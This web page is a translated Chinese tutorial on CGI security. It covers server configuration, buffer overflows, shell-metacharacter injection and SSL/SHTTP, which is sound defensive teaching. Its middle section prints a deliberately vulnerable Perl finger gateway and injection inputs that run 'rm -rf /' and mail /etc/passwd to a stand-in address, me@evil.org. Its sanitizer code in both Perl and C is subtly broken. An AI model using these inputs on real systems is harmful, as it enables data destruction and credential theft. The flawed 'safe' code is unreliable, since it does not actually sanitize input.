明辉手游网中心:是一个免费提供流行视频软件教程、在线学习分享的学习平台!

CGI的安全(二)

[摘要]缺省情况下,下面的全局选项这样设置: Options Indexes FollowSymLinks 当URL指定的目录里没有要查找的文件时,Indexes允许你指定一个文件。缺省情况下,这个变量为index.html,通过srm.conf中的DirectoryIndex来指定,很符合我...
 缺省情况下,下面的全局选项这样设置: 

  Options Indexes FollowSymLinks 

  当URL指定的目录里没有要查找的文件时,Indexes允许你指定一个文件。缺省情况下,这个变量为index.html,通过srm.conf中的DirectoryIndex来指定,很符合我们的意图。FollowSymLinks意指服务器会返回符号连接指向的数据。我没看到这个特性的必要性,所以我禁止了它。现在,这一行看起来象这样: 

  Options Indexes 

  如果我想在任何目录中使CGI程序有效,我可以通过包含ExecCGI选项来设置: 

  Options Indexes ExecCGI 

  这一行,结合在srm.conf中的AddType指令,可以允许我通过在任何目录中给所有的CGI程序添加.cgi的扩展名来执行一个CGI。 

  缺省情况下NCSA httpd的配置,通过在一个具有适当的属性和访问限制的特定目录中创建.htaccess文件使access.conf中的所有设置都可以被超越。在这种情况下,我不介意用户改变它们的访问限制。然而,我不想赋予用户在他们自己的目录里执行CGI和.htaccess文件的能力。 

  AddType application/x-httpd-cgi .cgi 
  Options Indexes ExecCGI 

  因此,我编辑access.conf来允许用户超越除了选项外所有的设置: 

  AllowOverride FileInfo AuthConfig Limit 

  现在,我的服务器安全的配置了。我只允许在cgi-bin目录中运行CGI,并且使服务器嵌入指令完全无效。服务器以nobody用户运行,一个我的系统中不存在的用户。我禁止了所有我不需要的特性,并且用户不能超越这些年特殊的限制。想了解很多的其他的配置信息,包括详尽的访问限制,请参照NCSA服务器说明文件。 

2.写出安全的CGI程序 

  假设你已经使的你的计算机和Web服务器很安全了,那么你后面就应该学会怎样写出一个安全性很好的CGI程序。编写安全的CGI的原则和前面提到的相似: 

A.你的程序只能实现你指定的功能。 
B.不要给客户额外的它不需要知道的信息。 
C.不要相信客户给你正确的信息。 

  关于第一条可能存在的安全隐患我在guestbook的例子中已经说明了。我提到了几个可以揭露漏洞的常见的错误,但是,你同样应该记住:你应当考虑你所应用的每一个函数的所有含义。 

  第二条是一般安全性原则的简单扩展:系统之外的人对你的系统了解的越少,你的系统就越没有可能被攻破。 

  最后一条原则只是一条很好的很重要的编程原则,但同样也是安全性很好的一个。CGI程序应该是安全可靠、健壮的。一个hacker可能做的第一件事是想尽一切办法通过在你的CGI程序中不断调整输入来搞乱程序,进而达到攻入计算机的目的。如果你的程序并不健壮,那么这时,它或者会崩溃,或者会实现其它的功能(当然这些功能是你不允许的)。这两种可能性都是令人不快的。为了杜绝这种可能性,不要对你的客户可能发送的信息格式或值作任何的假定。 

  大多数CGI程序的本质是简单的输入/输出程序。它提取客户端的说明并返回 一些响应。这种程序几乎没有风险(当然也会出现漏洞,后面你会看到)。因为CGI程序并不对输入感兴趣,没有什么错误可能发生。然而,一旦你的程序利用输入启动,可能回调用其他的程序,写文件,或者做一些功能更强大的而非简单返回输出的事情,那么你就会冒引入安全漏洞的风险。通常,功能是直接和安全风险成比例的。 

2-1.语言的风险性 

  不同的语言有其与生俱来的安全风险。任何语言都可以编写安全的CGI程序,但是你必须注意每个语言的怪癖(急转)。这里,我只讨论C和Perl,但是它们的有些特性并不适用于其它语言。想得到其他语言的指定信息,请参照适当的文件。 

  在前面的章节我们学到,一般来说,编译CGI程序比解释脚本更可取。编译程序有两个优势:首先,你不需要有服务器可理解的解释器;其次,程序的源文件是不可访问的。注意,像Perl一样的传统的解释型语言可以被编译成二进制形式。(关于如何在Perl中实现,请参阅Larry WaRandall Schwartz 的《Perl编程》)从安全立场来说,编译的Perl程序和编译的C程序一样好用。 

  像C这样比较低级的语言会出现被称为buffer overflow的问题。C语言并没有处理字符串的好的内置的方法。通常的方法或者是声明一个字符数组或者指向字符的指针。很多人倾向于前一种方法,因为它编程比较简单。思考一下下面两个功能等价的程序代码。 

程序1. 在C语言中使用数组定义字符串. 
#include 
#include 
#define message "Hello, world!" 
int main() 

  char buffer[80]; 
  strcpy(buffer,message); 
  printf("%s\n",buffer); 
  return 0; 


程序2. 在C语言中使用指针定义字符串. 
#include 
#include 
#include 
#define message "Hello, world!" 
int main() 

  char *buffer = malloc(sizeof(char) * (strlen(message) + 1)); 
  strcpy(buffer,message); 
  printf("%s\n",buffer); 
  return 0; 


  程序1比程序2简单得多,而且在这个特定的例子里,两者都可以很好的工作。我们假设有这样一个例子:我已经知道了我处理的字符串的长度,因此,我可以定义一个适当的数组长度。但是,在CGI程序里,你不知道输入的字符串会有多长。举个例子,如果信息的长度大于80 char,那么程序1会崩溃(即我们通常说的"溢出")。 

  这被称为buffer overflow,聪明的hacker就会利用这个来远程执行命令。这个缓冲溢出的bug存在于NCSA httpd v1.3中。这是为什么一个网络(或CGI)程序员需要更细心地编程的很好的例子。在一个单用户的机器里,缓冲溢出只能造成系统崩溃。在崩溃的单用户计算机中没有必要利用缓冲溢出来执行程序,因为大概你已经执行了你需要的任何程序(除了公共终端)。然而,在网络系统中,一个崩溃的CGI程序远不是这么简单,它会成为未经授权的用户进入的后门。 

  程序2中的代码解决了两个问题。首先,它动态的分配了存储字符串的足够的空间。其次,注意我将信息的长度加了1。这样,我实际上分配了比字符串长度多1字节的内存。这就保证字符串不会是0。因为目标字符总是会为额外的字符留有空间,strcpy()函数在目标字符串的最后添加了空字符,strcpy()放置了空字符。没有理由认为传送给CGI脚本的字符串会是空字符,因此,为了以防万一,我在最后留了1字节的空间。 

  倘若你的C程序避免了像缓冲溢出这样的问题,那么你就可以写出安全的CGI程序。然而,这是艰苦的工作,特别是当你的CGI很大更复杂的时候。这些问题将迫使你花费比一般的CGI任务更多的时间来思索低级语言的设计工作。基于这个原因,你可能更喜欢高级一点的编程语言(如Perl)。 

  然而,具有高级特点的Perl有着冒失的一面。尽管你能假设Perl会正确地处理字符串的存储,但当Perl使用你并不注意的高级一点的语法做一些事情时,很可能会有危险。在下一节中你会更清楚的了解到。 

2-2.shell危险性 

  很多的CGI任务都可以使用其他的程序很容易的实现。例如,你要写一个CGI的邮件网关,完全使用CGI程序来完成执行邮件的发送代理是很愚蠢的行为。更实用的方法是将数据通过管道传送到一个存在的邮件传送代理程序,比如sendmail,然后让sendmail来完成剩下的工作。这种习惯很好并值得鼓励。 

  安全风险依赖于你怎样调用这些外部的程序。完成这项工作在Perl和C中有很多函数可以实现。它们中很多函数通过调用shell,然后让shell来执行这个命令。这些命令被列在表1中,如果你使用了它们中的一个,那么你就使得Unix hells在攻击下显得很脆弱。 

  表1. C和Perl中可以调用shell的函数. 
  Perl 函数 C 函数 
  system(’...’) system() 
  open(’  ...’) popen() 
  exec(’...’) 

  eval(’...’) 

 `...` 

  为什么shell很危险呢?有很多的非数字的字符可以通过shell转换成特殊的字符。这些字符被称为元字符(译者注:这里我将metacharacter译为元字符),见表2。 

表2. Shell metacharacters. 
; < > *   ` & $ 
! # ( ) [ ] : { 
} ’ " 


  每一个这种字符在shell中都起着特殊的作用。例如,假如你想利用finger来查询一台计算机并将结果存储到一个文件中,你可以在命令行中如下输入: 

  finger @fake.machine.org > results 

  这会使用finger查询主机fake.machine.org并将查询结果保存到一个文本文 件results中。这个>字符在这里是一个重定向符。如果你要实际地使用>字符——例如,你想将它回显到屏幕上——你将需要在这个字符前加一个反斜杠。举个例子,下面将向屏幕输出一个符号>: 

  echo \> 

  这被称为转义字符(escaping or sanitizing the character string)。 

  hacker是怎样利用这个作为他(她)的优势的?观察以下程序3中用perl编写的finger程序。这个程序所做的是允许用户查询一个用户和一台主机的详细信息,并且,这个CGI可以查询用户并显示结果。 
[page_break]程序3. finger.cgi. 
#!/usr/local/bin/perl 
# finger.cgi - an unsafe finger gateway 
require ’cgi-lib.pl’; 
print &PrintHeader; 
if (&ReadParse(*in)) { 
  print "\n"; 
  print `/usr/bin/finger $in`; 
  print "\n"; 

else { 
  print " \n"; 
  print "\n"; 
  print "\n\n"; 
  print "Finger Gateway\n"; 
  print "\n"; 
  print "User@Host: \n"; 
  print "\n"; 
  print "\n"; 
  print " \n"; 


  乍一看,这个程序好象没有什么害处。因为是用Perl编写的,不会有bufferoverflow的危险。我使用了finger的完全路径,这样gateway不会被伪造的finger程序所欺骗。如果输入是一个不合适的格式,那么gateway将返回一个错误而不会被人利用。 

  但是,如果我尝试如下的输入会怎样呢(如图1所示) 
  nobody@nowhere.org;/bin/rm -rf / 
  FINGER GATEWAY 
 ___________________________________ 
User@Host:  nobody@nowhere.org ; /bin/rm -rf /   
 ----------------------------------- 
______________ 
 Submit Query   
-------------- 
  (图1) 

(译者注:原图是一个浏览器,我仅画出HTML页中的部分。) 

  我们来看一下下面的程序行会如何处理这样的输入: 
  
  print `/usr/bin/finger $in` 

  由于你使用了向后的标记,首先它会执行一个shell。然后它将执行如下的命令: 

/usr/bin/finger nobody@nowhere.org ; /bin/rm -rf / 

  这将会怎样呢?假设在命令行像这样输入。它会删除所有的文件和目录,从root的目录开始。我们需要sanitize这个输入来render the semicolon(;)metacharacter harmless.在Perl中,利用表4中的函数可以很容易的实现。(C中的这些等价函数在表5中;它们来自cgihtml的C库。) 

程序4. Perl中的escape_input(). 
sub escape_input { 
  @_ =~ s/([;<>\*\ `&\$!?#\(\)\[\]\:’"\\])/\\$1/g; 
  return @_; 


程序5. C语言中的escape_input(). 
char *escape_input(char *str) 
/* takes string and escapes all metacharacters.should be used before 
 including string in system() or similar call. */ 

  int i,j = 0; 
  char *new = malloc(sizeof(char) * (strlen(str) * 2 + 1)); 
  for (i = 0; i < strlen(str); i++) { >
  printf("i = %d; j = %d\n",i,j); 
  switch (str[i]) { 
  case ’ ’: case ’&’: case ’;’: case ’(’: case ’)’: case ’<’: >
  case ’>’: case ’\’’: case ’"’: case ’*’: case ’?’: case ’\\’: 
  case ’[’: case ’]’: case ’$’: case ’!’: case ’#’: case ’;’: 
  case ’`’: case ’{’: case ’}’: 
  new[j] = ’\\’; 
  j++; 
  break; 
  default: 
  break; 
  } 
  new[j] = str[i]; 
  j++; 
  } 
  new[j] = ’\n’; 
  return new; 



  这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的finger.cgi网关在程序6中。 

程序6. 一个安全的finger.cgi. 
#!/usr/local/bin/perl 
# finger.cgi - an safe finger gateway 
require ’cgi-lib.pl’; 
sub escape_input { 
  @_ =~ s/([;<>\*\ `&\$!#\(\)\[\]\:’"])/\\$1/g; 
  return @_; 

print &PrintHeader; 
if (&ReadParse(*in)) { 
  print "\n"; 
  print `/usr/bin/finger &escape_input($in)`; 
  print "\n"; 

else { 
  print " \n"; 
  print "\n"; 
  print "\n\n"; 
  print "Finger Gateway\n"; 
  print "\n"; 
  print "User@Host: \n"; 
  print "\n"; 
  print "\n"; 
  print " \n"; 


  这次,如果你使用前述相同的输入,将派生出一个shell,它将尝试这样执 
行: 

  /usr/bin/finger nobody@nowhere.org \: /bin/rm -rf / 

  这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是尝试finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符组合未必是你的系统中的用户,因此可能会返回一个错误。 

  记住几个问题。首先,如果你的Web服务器正确的配置了(例如,以非root 身份运行),那么,删除文件系统中的所有内容的企图不会成功。(如果服务器以root身份运行,那么潜在的危害将是不可估量的。千万不要这样做!)另外,用户还假定rm命令在/bin目录中。他或她假定了rm在这个路径中。然而,所这些只是对大多数的Unix系统的乐观的假设,并不是完全适用的。在一个hrooted系统环境中,这个目录中并没有rm命令。那么hacker的努力将是徒劳的。从理论上说,通过安全防范和正确配置你的Web服务器,你可以将潜在的危害降低到几乎为0,即使是书写了糟糕的脚本。 

  然而,你没有理由在编写CGI程序时可以掉以轻心。事实上,大多数的Web环境并不是chrooted的,仅仅是因为它禁止了很多人需要在Web服务器中需要的灵活性。即使服务器不是以root身份运行,用户不能将文件系统中的文件全部删除,一些人可以仅仅通过如下的输入,将/etc/passwd文件寄给me@evil.org作为可能的攻击途径: 

  nobody@nowhere.org ; /bin/mail me@evil.org <  tc/passwd ="">

  我可以通过操纵这个漏洞来干很多事情,即使是在一个配置良好的环境中。如果你在一个简单的CGI程序中容许一个漏洞从你的身边溜过,你怎么能肯定你正确并安全的配置了你复杂的Unix系统和Web服务器? 

  答案是你不能。你最好打赌弄清楚你的CGI程序是安全的。在shell中运行它之前不轻易接受输入是很容易对付的事情,它还是CGI编程中最常见的问题之一。 

  幸运的是,Perl拥有一个捕捉潜在感染的变量的很好的机制。如果你使用taintperl而不是Perl(或者perl -T,如果你使用Perl 5),脚本将在潜在感染的变量传递给shell命令处中止。这将帮助你在开始实际使用CGI程序时捕捉到所有的潜在感染的变量的例子。 

  注意到Perl拥有比C更多的派生shell的函数。这并不是显而易见的,即使是对于中级的Perl程序员,在执行程序前向后标记派生出一个shell。这是高级语言的风险抉择;因为你不是很明确地知道它做什么,所以你并不清楚一个函数会产生怎样的安全漏洞。 

  如果你避免了使用调用shell的函数,那么你不需要删除敏感的输入。在Perl 语言中,你可以通过使用system()或者exec()函数来封装每一个参数。例如, 如下的调用很安全的$input: 

  system("/usr/ucb/finger",$input); 

  然而,在你的finger gateway的情况下,这个特点是毫无用处的,因为你要处理finger命令的输出,这个,除了你使用system函数外没有方法可以捕获。 

  在C语言中,你也可以通过使用exec一类的函数来直接执行程序:exev(), exec1(),execvp(),execlp(),和execle()。exec1()在C语言中等价于Perl中的 system()函数。你使用哪一个exec函数以及如何使之按你的需要执行:这些细节已经超出了本书的范围。 

3.安全处理 

  我前面简要讨论的只是安全问题的一个方面。现在流行的CGI应用程序倾向于 收集信用卡信息。数据收集是CGI应用程序的一个简单的任务,但是敏感信息的收集需要一个将信息从浏览器传送给服务器和CGI程序的安全途径。 

  举个例子,假设我要通过Internet来销售书。我可能在浏览器上建立一个表单,允许要购书的顾客通过表单提交它的个人信息和信用卡号码。受到这些信息后,我会将它们存储到我的计算机作为商业记录。 

  如果有人侵入我的商业计算机,那么他可能会访问存放顾客信息和信用卡号码的机密数据。为了避免这种情况,我会审查我的计算机配置安全了,并确定用来接受表单的CGI脚本不会被恶意的操纵。换句话说,我,作为计算机的系统管理员和CGI程序员,要尽力控制住第一个问题:防止信息直接从我的计算机中被窃取。 

  然而,怎样防止当信息由客户端发往服务器过程中有人中途窃取呢?记住信息怎样由Web服务器传送到CGI程序了吗?信息通过网络由浏览器先传送到服务器,然后服务器将信息传送给CGI程序。这些信息可能在由客户机传送到服务器时被中途窃取(如图2)。注意,为了保护信息使其不会被中途窃取,必须在客户和服务器之间进行加密。当然,如果你的客户机不能识别的话,你不能执行特定CGI的加密。 

_______________ ______________ 
浏览器   表单输入   
(用户提交表单;  —————————————>   
浏览器将其以通  <—————————————  服务器 =""  ="">
常文本发送出去) 分析CGI输出   
---------------     -------------- 
     表   /\CGI 
 不怀好意的hacker单    输 
 输    出 
 入     
  \/   
  _____________ 
     
   CGI   
     
  ------------- 
  (图2) 

More: Java,CGI和安全处理 

  由于Web处理的特点,使用你独有的单独通过CGI程序实现的安全处理协议的唯一途径是:在表单信息通过浏览器传送到服务器之前将其加密。这个方案如图3。 

_______________ ______________ 
浏览器   加密表单输入   
 用户提交表单;  —————————————>   
浏览器将输入加  <—————————————  服务器 =""  ="">
密,发送加密信息 分析CGI输出   
---------------     -------------- 
     加   /\CGI 
  阻止 修补密    输 
  恶意 再次输    出 
 hacker阻止入    (解密) 
  \/   
  _____________ 
   CGI   
  解密处理输入,  
  发出响应。   
  ------------- 
 (图3) 

  之前,发展你自己的安全处理协议几乎是不可能的。感谢Java这样的语言,最近在客户端处理所作的创新,使得这个发展变成可能。 

  方法是产生一个标准HTML格式扩展的Java接口。当Java的提交按钮被选择时,java Applet会在利用标准的POST HTTP请求将它发送到Web服务器前先将值加密 
(参照图4) 

 Web浏览器 
_______________ ______________ 
JAVA APPLET  加密数据   
 表单;用户提交  —————————————>   
数据,APPLET加密 <—————————————  服务器 =""  ="">
数据,发给服务器 CGI输出   
--------------- -------------- 
 加   /\CGI 
 密    输 
 数    出 
 据     
  \/   
  ________________ 
   CGI  
  使用与APPLET相同  
  方案解密数据并处  
  理,发出解密响应.  
  ---------------- 
  (图4) 

  使用Java作为客户机来发送和接收加密的数据将允许你使用自己定制的加密方案,而不需要一个昂贵的商业服务器。 

  因此,在网络上安全保密地传送数据信息需要调整浏览器和服务器之间的通信路径,有一些是不能仅仅靠CGI就能够控制的。目前有两种加密客户机/服务器信息处理的建议:SSL(Secure Sockets Layer)和SHTTP(Secure HTTP),分别由Netscape和EIT(Enterprise Integrations Technology)提议。关于这点,目前还不清楚哪一个将成为标准;很多公司在他们的服务器中两种都采用了。因此,知道如何在这两者中编写CGI程序是很有用的。 
3
-1.SSL 

  SSL是一个协议独立的加密方案,在网络信息包的应用层和传输层之间提供了安全的通道(参照图5)。简单说来,就是HTML或CGI经过了幕后的 
服务器进行了加密处理,然而对HTML和CGI的作者来说是透明的。 

___________________________________ 
浏览器  传输层加密数据 服务器  
(发出标准的HTTP  —————————————> (解密数据;解释成标准  
请求)  <————————————— 请求并发出标准响应) =""  ="">
---------------- 传输层加密数据-------------------- 

 (图5) 

  因为客户端和服务器端网络程序处理加密过程,几乎你的所有的CGI脚本不需要进行安全事务的修正。有一个显著的例外。一个nph(no-parse-header)的CGI程序绕过服务器而直接与客户端进行通信。因此,nph的CGI脚本不会经过加密处理,因为信息未得到加密。受此影响的一个值得注意的CGI应用程序是Netscape服务器推动的动态实现(Netscape server-push animations)。我怀疑这是主要应该值得注意的,然而,更有可能因为要安全的传输敏感信息而牺牲页面中的动画。 

3-2.SHTTP 

  SHTTP采用一种和SSL不同的方法。它通过扩展HTTP协议(应用层)来运作,优于一个较低层。因此,尽管SSL可以应用于所有的网络服务,然而SHTTP是一个特定的Web协议。 

  另外,还有其它的优点。作为HTTP的扩展集,SHTTP全兼容于HTTP和SHTTP的浏览器和服务器。为了使用SSL,你必须有一个支持SSL的浏览器和服务器。另外,SHTTP是一个更灵活的协议。例如,这个服务器可以指定首选的加密方案。 

  SHTTP处理依赖于附加的HTTP头。因此,如果你想让你的CGI程序采用SHTTP的加密处理,你需要包含适当的头。例如,替换简单返回HTTP头。 

  Content-type:text/html 

  当一个SHTTP服务器从CGI应用程序中收到这个信息,它会知道在将其发送到浏览器之前将信息加密。一个非SHTTP的浏览器将忽略附加的头。 

  关于使用SHTTP的更多的信息,请参照SHTTP的说明书: 

http://www.commerce.net/information/standards/drafts/shttp.txt 
4.概要 

  安全是你在处理网络应用程序(例如WWW)中不可避免的一件事。如果你的Web服务器没有安全的配置,那么编写安全的CGI应用程序就不是非常有用的了。一个正确配置的Web服务器,从另一方面讲,可以最小限度的减少因为糟糕的CGI脚本而带来的损害。 

  大体上,我们应该记住下面的原则: 

A.你的程序应当只能提供你指定的服务。 

B.不到必要的时候不暴露任何有关你的服务器的信息。 

C.如果有人成功的闯入你的系统,应最小限度的减少损害。 

D.确定你的应用程序是安全可靠并且严密的。 

  当你编写CGI程序时,要特别注意你的编程语言的局限性(或不足)以及传递给shell的不确定的变量。